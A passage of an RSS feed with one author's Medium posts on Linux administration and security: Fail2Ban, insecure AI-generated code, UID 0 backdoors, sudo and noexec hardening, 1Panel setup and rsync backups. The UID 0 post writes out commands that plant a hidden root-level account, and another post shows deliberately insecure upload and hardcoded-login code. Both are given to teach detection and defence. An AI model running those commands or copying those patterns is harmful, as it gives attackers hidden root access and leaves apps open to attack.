Brute Force Attack</h3><p>Try SSH login with a wrong password repeatedly (within the defined findtime window). After the allowed maxretry, you’ll be locked out.</p><p>Testing from another machine is highly recommended, unless you enjoy locking yourself out of your own server 😅.</p><h3>Custom Filters</h3><p>Got a custom app? You can create your own filter!</p><p>Create /etc/fail2ban/filter.d/myapp.conf:</p><pre>[Definition]<br>failregex = Login failed for user .* from &lt;HOST&gt;<br>ignoreregex =</pre><p>Add to your jail config:</p><pre>[myapp]<br>enabled = true<br>logpath = /var/log/myapp.log<br>filter = myapp<br>maxretry = 3<br>bantime = 1800</pre><h3>Unban an IP</h3><p>Locked yourself out? Unban the IP manually:</p><pre>sudo fail2ban-client set sshd unbanip 203.0.113.77</pre><h3>Integrating with nftables or FirewallD</h3><p>Fail2Ban can use different backends for banning IPs.</p><p>For firewalld:</p><pre>banaction = firewallcmd-ipset</pre><p>For nftables:</p><pre>banaction = nftables-multiport</pre><p>Check /etc/fail2ban/action.d/ for available actions or define your own.</p><h3>Tips</h3><ul><li>Enable the recidive jail to catch repeat offenders over a longer period.</li><li>Monitor the log: /var/log/fail2ban.log</li><li>Use logrotate to manage size and keep your logs tidy.</li><li>Secure Fail2Ban’s config—treat it like firewall rules.</li></ul><h3>Final Thoughts</h3><p>Fail2Ban is one of the easiest yet most effective tools you can add to your server security stack. It’s like having a bouncer who not only checks IDs but memorizes troublemakers and blocks them for good.</p><blockquote>Not all heroes wear capes—some run silently in your system, tailing logs and blocking bots.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ea3651020f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vibe Coder VS Pentesters]]></title>
            <link>https://dms-r.medium.com/vibe-coder-vs-pentesters-cfcbaed5c0a1?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfcbaed5c0a1</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 11:30:08 GMT</pubDate>
            <atom:updated>2025-07-27T11:30:08.355Z</atom:updated>
            <content:encoded><![CDATA[<h4>How vibe coder (AI) is multiplying the workload for pentesters</h4><figure><img alt="Software development" src="https://cdn-images-1.medium.com/max/1024/0*mZhLxcewfo3C7REO" /><figcaption>Photo by <a href="https://unsplash.com/@czapp_arpad?utm_source=medium&amp;utm_medium=referral">Árpád Czapp</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>There was a time when getting into a company’s infrastructure felt like solving a complex puzzle. Nowadays, it feels more like defusing a bomb made by an overconfident AI. The game has changed. Enter Vibe Coder—AI-powered developers that push code fast, efficient, and dangerously close to insecure.</p><p>Vibe Coder isn&#39;t a real person. It&#39;s a term I use for AI-assisted coding workflows: devs writing applications with the help of AI tools like GitHub Copilot, ChatGPT, or Tabnine. This tech is magical—until you’re on the other side of the fence trying to test the security of what it created.</p><h3>The Problem Wrapped in Code</h3><p>Let’s start with the obvious: speed. AI helps developers ship features ten times faster. More endpoints, more integrations, more dependencies. From a business perspective, this is gold. But from a pentester’s lens, it’s a minefield.</p><p>Here’s why: AI doesn’t understand context the way a seasoned dev does. It predicts code, not consequences. So when it autocompletes a function to upload files, it might forget to add validation. When it writes an API handler, it might default to permissive CORS settings or mishandle user input. Suddenly, you’ve got a codebase that looks clean—but leaks like a sieve.</p><p>Example code:</p><pre><br>// AI-generated Express.js file upload endpoint<br>app.post(&#39;/upload&#39;, (req, res) =&gt; {<br>  const file = req.files.file;<br>  file.mv(`/uploads/${file.name}`, (err) =&gt; {<br>    if (err) return res.status(500).send(err);<br>    res.send(&#39;File uploaded!&#39;);<br>  });<br>});</pre><p>This might look functional, but it&#39;s a red carpet for unrestricted file uploads—no file type validation, no path sanitization. A pentester’s dream, an attacker’s playground.</p><h3>Why Pentesters are Busier Than Ever?!</h3><h4>1. More Code, Less Thought</h4><p>AI can write 500 lines in seconds, but it doesn’t pause to ask “Should this be public?” or “Is this input trusted?” Developers often assume the code it generates is secure—especially juniors. That trust becomes a vector.</p><h4>2. Recycled Vulnerabilities</h4><p>AI is trained on public code. That includes mistakes. Sometimes, it repeats the same insecure patterns across different projects. For pentesters, that means déjà vu: same bugs, different wrappers.</p><p>Example code:</p><pre><br># AI-generated Flask login check<br>@app.route(&#39;/login&#39;, methods=[&#39;POST&#39;])<br>def login():<br>    if request.form[&#39;username&#39;] == &#39;admin&#39; and request.form[&#39;password&#39;] == &#39;admin123&#39;:<br>        session[&#39;user&#39;] = &#39;admin&#39;<br>        return redirect(&#39;/dashboard&#39;)<br>    return &#39;Invalid credentials&#39;</pre><h4>3. Obscure Implementations</h4><p>Modern apps now include AI-generated code glued with libraries that themselves were pulled in by AI suggestions. As a pentester, you’re not just auditing human logic anymore—you’re decoding a language of probability and pattern-matching.</p><p>Example code:</p><pre>// React frontend fetch using AI-suggested insecure pattern<br>fetch(&#39;https://api.example.com/userdata&#39;, {<br>  method: &#39;GET&#39;,<br>  headers: {<br>    &#39;Authorization&#39;: `Bearer ${userToken}`<br>  }<br>});</pre><p>The AI nailed the fetch logic—but where did userToken come from? Turns out, it was stored in localStorage. Combine that with a reflected XSS, and you’ve got a full compromise.</p><h4>4. Security by Afterthought</h4><p>Security testing is often the last checkbox. And when the code was built overnight with AI help, testing it becomes like checking the foundation after the skyscraper’s already built.</p><h3>Exciting, but Exhausting</h3><p>The job isn’t boring. If anything, it&#39;s more exciting. But the scope has exploded. I used to test applications. Now I test how well people understand the tools they use. And more often than not, it’s a mismatch.</p><p>It’s like fighting fire with water—only the fire spreads faster than you can refill the bucket.</p><p>AI coding tools are here to stay. They’re powerful, convenient, and sometimes dangerously confident. While they’ve empowered developers to build faster, they’ve also expanded the playground for bugs and misconfigurations.</p><p>As pentesters, our role is evolving. We’re no longer just finding bugs. We’re reviewing AI’s decisions, predicting its blind spots, and teaching developers how to think like attackers in an era where code is no longer handcrafted.</p><p>So, if you&#39;re wondering why the pentesting team looks tired lately—it’s because we&#39;re racing against something that doesn’t sleep. And every time a Vibe Coder commits insecure code with a smiley comment, somewhere out there, a pentester sighs and adds another Jira ticket.</p><blockquote>Stay sharp.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfcbaed5c0a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Exploit of User 0]]></title>
            <link>https://dms-r.medium.com/the-exploit-of-user-0-f311dc148d71?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f311dc148d71</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 16:14:41 GMT</pubDate>
            <atom:updated>2025-07-23T16:14:41.602Z</atom:updated>
            <content:encoded><![CDATA[<h4>The biggest hole in linux</h4><figure><img alt="Laptop displaying a pirate flag / jolly roger on a red screen, possibly indicating malware, hackers or a different computer problem. If you like that image, consider donating at https://sharethemeal.org/donate - thanks!" src="https://cdn-images-1.medium.com/max/1024/0*f-wivKcgfFSPUl8F" /><figcaption>Photo by <a href="https://unsplash.com/@jackson_893?utm_source=medium&amp;utm_medium=referral">Michael Geiger</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In every Linux or Unix-based operating system, there&#39;s a silent ruler. It&#39;s not a visible window, not a fancy GUI—it&#39;s a number: UID 0. This numeric ID belongs to the root user, the highest authority on the system. Whoever holds it has the keys to the kingdom.</p><p>In theory, UID 0 should belong to only one user: root. But in reality, systems get messy. Whether due to misconfiguration, poor security practices, or malicious intent, others can end up sharing that UID—and that’s where the exploit begins.</p><p>UID (User Identifier) is a number assigned to every user on a Unix-like system. Normally, regular users start from UID 1000 onward. UID 0, however, is special. The system doesn’t ask who you are if your UID is 0—it just gives you full control. No questions asked.</p><p>So if a user—any user—gets UID 0, they’re effectively root, no matter what name they log in with.</p><p>And that’s the heart of the problem.</p><h4>How Attackers Exploit UID 0?</h4><p>There’s no rocket science here. If someone has write access or root privileges (even temporarily), they can:</p><ul><li>Edit /etc/passwd directly</li></ul><pre>echo &#39;backdoor:x:0:0:root:/root:/bin/bash&#39; &gt;&gt; /etc/passwd</pre><ul><li>Use useradd with UID 0</li></ul><pre>useradd -u 0 -o -g 0 shadowroot</pre><ul><li>Modify an existing account</li></ul><pre>usermod -u 0 -o eviluser</pre><p>Just like that, a new &quot;root&quot; is born.</p><h4>The Dangers Lurking Behind UID 0</h4><p>At first glance, what&#39;s the harm in having two users with UID 0?</p><p>Well—imagine leaving two master keys under the doormat. If one gets stolen, you might not even realize it. That’s the thing with UID 0: it bypasses logging, ignores permission checks, and operates silently.</p><p>Here’s what can happen:</p><ul><li>Security monitoring tools might not flag the account—because it looks like root.</li><li>Attackers can create persistent backdoors that blend in with the system.</li><li>Accountability is lost—actions done by UID 0 are all seen as done by “root,” regardless of the actual username.</li><li>Malware can insert UID 0 users automatically, hiding them among regular system users.</li></ul><h4>Detecting and Preventing UID 0 Exploits</h4><p>It’s surprisingly easy to check if you’re at risk. Run this:</p><pre>awk -F: &#39;($3 == &quot;0&quot;) {print}&#39; /etc/passwd</pre><p>You should only see:</p><pre>root:x:0:0:root:/root:/bin/bash</pre><p>Anything else is a red flag.</p><p>To prevent this:</p><ul><li>Lock down /etc/passwd and /etc/shadow file permissions.</li><li>Use tools like AIDE or Tripwire to detect unauthorized file changes.</li><li>Audit your user list regularly.</li><li>Educate your admins. Just copy-paste can be very dangerous.</li></ul><p>UID 0 isn’t just a number. It’s the most powerful access level in the system. When it&#39;s shared or assigned recklessly, it becomes a time bomb—quiet, hidden, and incredibly destructive.</p><p>If you’re managing a system, check your UID 0 users today. One small number might be the biggest hole in your defense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f311dc148d71" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fixing “sudo” Permissions for Root-Level Systems]]></title>
            <link>https://dms-r.medium.com/fixing-sudo-permissions-for-root-level-systems-79bc2f1008a2?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/79bc2f1008a2</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Fri, 04 Jul 2025 01:33:41 GMT</pubDate>
            <atom:updated>2025-07-04T01:33:41.266Z</atom:updated>
            <content:encoded><![CDATA[<h4>Just my note hardening sudo permissions</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vgAIL0PrALz_uZpR" /><figcaption>Photo by <a href="https://unsplash.com/@6heinz3r?utm_source=medium&amp;utm_medium=referral">Gabriel Heinzer</a> on <a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In Linux systems, <strong>sudo</strong> is a fundamental tool. It allows users to execute commands with elevated privileges — usually as root. However, in some server environments, especially hardened systems, not every user is granted full sudo privileges. This often leads to permission errors when attempting to use sudo. For example, if the permissions or ownership of /usr/bin/sudo are misconfigured, even users in the sudo group may face issues.</p><p>This article introduces a practical <strong>work-around</strong> that fixes these permission problems — particularly in systems where only root-level administrators have sudo privileges. It also outlines a preventive step to avoid similar problems in the future.</p><h4>Understanding the Problem</h4><p>Let’s say you’re on a Linux system, and a user in the sudo group tries to run a command with sudo but receives a <strong>Permission denied</strong> error. This usually happens because:</p><ul><li>The file permissions of /usr/bin/sudo have been changed.</li><li>The file is no longer owned by the right group.</li><li>The setuid bit has been removed, preventing privilege escalation.</li></ul><p>This might occur accidentally during a misconfigured update or manual permission change.</p><h4>The Work-Around</h4><p>Here’s a quick fix:</p><pre>chgrp sudo /usr/bin/sudo<br>chmod 4750 /usr/bin/sudo</pre><p>Let’s break this down:</p><ul><li>chgrp sudo /usr/bin/sudo: changes the group ownership of the sudo binary to sudo.</li><li>chmod 4750 /usr/bin/sudo: sets the correct permissions:</li><li>4 (setuid): lets users run the binary with the privileges of its owner (root).</li><li>7 (owner): full access (read, write, execute).</li><li>5 (group): read and execute.</li><li>0 (others): no access.</li></ul><p>These commands restore proper execution rights for members of the sudo group, while keeping the binary restricted from non-privileged users.</p><h4>Preventing Future Issues</h4><p>To avoid this kind of issue from repeating, it’s good practice to ensure that non-root writable filesystems are mounted with the noexec flag. This prevents execution of binaries from untrusted locations.</p><p>For example, mounting a USB drive or a user-writable directory like /tmp with noexec ensures users can’t run arbitrary binaries—even if they manage to place one there.</p><h4>Where Should We Use noexec?</h4><p>Not all filesystems need noexec. Use it on places where:</p><ul><li>Users have write access.</li><li>Executing programs is unnecessary or risky.</li></ul><p>Common targets:</p><ul><li>/tmp</li><li>/var/tmp</li><li>/home</li><li>Mounted USB drives or external disks</li><li>Cloud sync folders (like /mnt/share, etc.)</li></ul><blockquote><em>Avoid setting </em><em>noexec on </em><em>/, </em><em>/usr, or </em><em>/bin. The system needs to execute binaries there.</em></blockquote><h4>Step 1: Identify Writable Non-Root Filesystems</h4><p>Run:</p><pre>findmnt -rno TARGET,OPTIONS</pre><p>Or use:</p><pre>mount | grep &quot; rw&quot;</pre><p>Check which mount points are writable (rw) and not essential for system binaries.</p><h4>Step 2: Edit /etc/fstab</h4><p>To make the noexec setting persistent across reboots, we use the fstab file.</p><p>Open it:</p><pre>sudo nano /etc/fstab</pre><p>Add noexec to the options column for the relevant mount points. For example:</p><pre>UUID=xxxx-xxxx  /home       ext4    defaults,noexec    0    2<br>UUID=yyyy-yyyy  /tmp        ext4    defaults,noexec    0    2</pre><p>Make sure you’re not touching essential root-level mounts. Only target filesystems where execution is not required.</p><h4>Step 3: Remount Without Rebooting</h4><p>After editing /etc/fstab, you don’t have to reboot. Just remount:</p><pre>sudo mount -o remount,noexec /home<br>sudo mount -o remount,noexec /tmp</pre><p>This applies the changes immediately.</p><h4>Step 4: Test It</h4><p>Try creating a simple shell script in /tmp:</p><pre>echo -e &#39;#!/bin/bash\necho Hello&#39; &gt; /tmp/test.sh<br>chmod +x /tmp/test.sh<br>/tmp/test.sh</pre><p>Expected output:</p><pre>bash: /tmp/test.sh: Permission denied</pre><p>Perfect. noexec is working.</p><p>This doesn’t replace other security layers like file permissions or antivirus tools. But it adds a reliable barrier.</p><p>This is a <strong>proactive approach</strong> that tightens system security and makes it harder for misconfigured binaries to cause issues.</p><p>Restoring correct permissions and group ownership on /usr/bin/sudo is a straightforward fix for broken sudo access. The command:</p><pre>chgrp sudo /usr/bin/sudo ; chmod 4750 /usr/bin/sudo</pre><p>is a simple one-liner that solves most related permission problems. Additionally, applying noexec on user-writable filesystems helps prevent unexpected execution problems in the future.</p><p>While this issue might seem minor, it can lock users out of administrative capabilities. Knowing how to fix and prevent it is a small but powerful piece of Linux system administration. Always verify permissions, understand default security configurations, and secure your system before problems arise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79bc2f1008a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setup 1Panel on Alpine Linux]]></title>
            <link>https://dms-r.medium.com/setup-1panel-on-alpine-linux-330bcc2bd03a?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/330bcc2bd03a</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 01:55:34 GMT</pubDate>
            <atom:updated>2025-07-02T01:55:34.982Z</atom:updated>
            <content:encoded><![CDATA[<h4>How to install 1panel in alpine linux (if error)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyW6YCsEnFUXtkDuJI2nQQ.png" /></figure><p>If we see docs 1panel in <a href="https://docs.1panel.pro/quick_start/">here</a>, we have instruction to run this command to install 1panel like here:</p><pre>curl -sSL https://resource.1panel.pro/quick_start.sh -o quick_start.sh &amp;&amp; \<br>bash quick_start.sh</pre><p>But, if we have done run command, we have error like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm8XRGqhByTylA814YVJeA.png" /></figure><p>To fix the error we need install docker, run this command to install docker and run the docker:</p><pre>sudo apk add docker &amp;&amp; \<br>sudo rc-update add docker &amp;&amp; \<br>sudo rc-service docker start</pre><p>After that we can run again installer:</p><pre>sudo ./1panel-*/install.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ahRYPV2qTY1pQ2CeVD23eQ.png" /><figcaption>Setup 1panel</figcaption></figure><p>After that we can login using username and password we configure before, we can access on: http:://ip-local:port/panel-entrace</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7GgvgVXM32eBjd1qvI_qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYnTR93wckUzbu9ax08s1w.png" /></figure><h3>Hardening</h3><p>If we want to secure the server alpine, we need setup firewall. Follow this steps if you want:</p><pre>sudo apk add ufw &amp;&amp; \<br>sudo ufw default allow outgoing &amp;&amp; \<br>sudo ufw default deny incoming &amp;&amp; \<br>sudo ufw allow ssh &amp;&amp; \<br>sudo ufw allow port-1panel</pre><p>After that we need apply ufw using:</p><pre>sudo ufw enable</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=330bcc2bd03a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automatic Backup & Restore with Rsync + Cron]]></title>
            <link>https://dms-r.medium.com/automatic-backup-restore-with-rsync-cron-87c3036f50c2?source=rss-3312d764550d------2</link>
            <guid isPermaLink="false">https://medium.com/p/87c3036f50c2</guid>
            <dc:creator><![CDATA[dimas]]></dc:creator>
            <pubDate>Mon, 30 Jun 2025 06:10:38 GMT</pubDate>
            <atom:updated>2025-06-30T06:10:38.664Z</atom:updated>
            <content:encoded><![CDATA[<h4>Documentation how to backup using rsync and cron</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cpsq1lG2Yx8Ewrd7" /><figcaption>Photo by <a href="https://unsplash.com/@redaquamedia?utm_source=medium&amp;utm_medium=referral">Denny Müller</a> on <a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>The Purpose</h4><ul><li>Automatic daily or weekly backups.</li><li>Data efficient (only changes are copied).</li><li>Secure (controlled access permissions, data encrypted via SSH).</li></ul><h4>Key Components</h4><ul><li><strong>rsync</strong><br>Efficient file/folder synchronization</li><li><strong>cron</strong><br>Automatic backup scheduling</li><li><strong>SSH Key</strong><br>Secure authentication</li></ul><h4>Torpology</h4><ul><li>Server A: 192.168.1.10 (data source)</li><li>Server B: 192.168.1.20 (backup destination)</li><li>Backed up folder: /data</li><li>Backup destination folder: /backup/server-a</li></ul><h4>Setup SSH Key</h4><p>On server A:</p><pre>ssh-keygen -t rsa -b 4096 -f server-backup<br><br>ssh-copy-id admin@192.168.1.20</pre><p>Try connection:</p><pre>ssh -i ~/.ssh/server-backup admin@192.168.1.20 </pre><h4>Backup using rsync</h4><pre>rsync -avz -e ssh /data/ admin@192.168.1.20:/backup/server-a/</pre><p>Option explanation:</p><ul><li>-a : Archive (permission, symbolic link, etc.)</li><li>- v : Verbose</li><li>-z : Compression on transfer</li><li>-e ssh : Use SSH as protocol</li></ul><p>If want to add log and delete old backup:</p><pre>rsync -avz --delete --log-file=/var/log/rsync-backup.log -e ssh /data/ admin@192.168.1.20:/backup/server-a/</pre><h4>Schedule for automation</h4><p>Edit crontab:</p><pre>crontab -e</pre><p>Add a schedule, for example: backup every day at 2 am:</p><pre>0 2 * * * rsync -avz --delete --log-file=/var/log/rsync-backup.log -e ssh /data/ admin@192.168.1.20:/backup/server-a/</pre><p>If want change, you can try config crontab at <a href="https://crontab.guru/">here</a>.</p><h4>Restore Backup</h4><p>From server B to server A, we need seup ssh key like before:</p><pre>rsync -avz -e ssh ubackup@192.168.1.20:/backup/server-a/ /data/</pre><p>Or another if want restore data from server A:</p><pre>rsync -avz -e ssh admin@192.168.1.20:/backup/server-a/ /data/</pre><h4>Additional Security</h4><ul><li>Restrict SSH access to backups only (use a dedicated account).</li><li>Use chroot or directory restrictions for user backups.</li><li>Encrypt disks on the backup server (LUKS / ecryptfs).</li><li>Rotate backups with rsnapshot or manual weekly backups</li></ul><h4>Ex: Backup Daily and Weekly</h4><p>Folder want to backup: /data/</p><p>Folder target backup:</p><pre>/backup/server-a/daily/<br>/backup/server-a/weekly/</pre><p>Crontab:</p><pre>0 2 * * * rsync -avz --delete /data/ admin@192.168.1.20:/backup/server-a/daily/<br>0 3 * * 0 rsync -avz --delete /data/ admin@192.168.1.20:/backup/server-a/weekly/</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87c3036f50c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>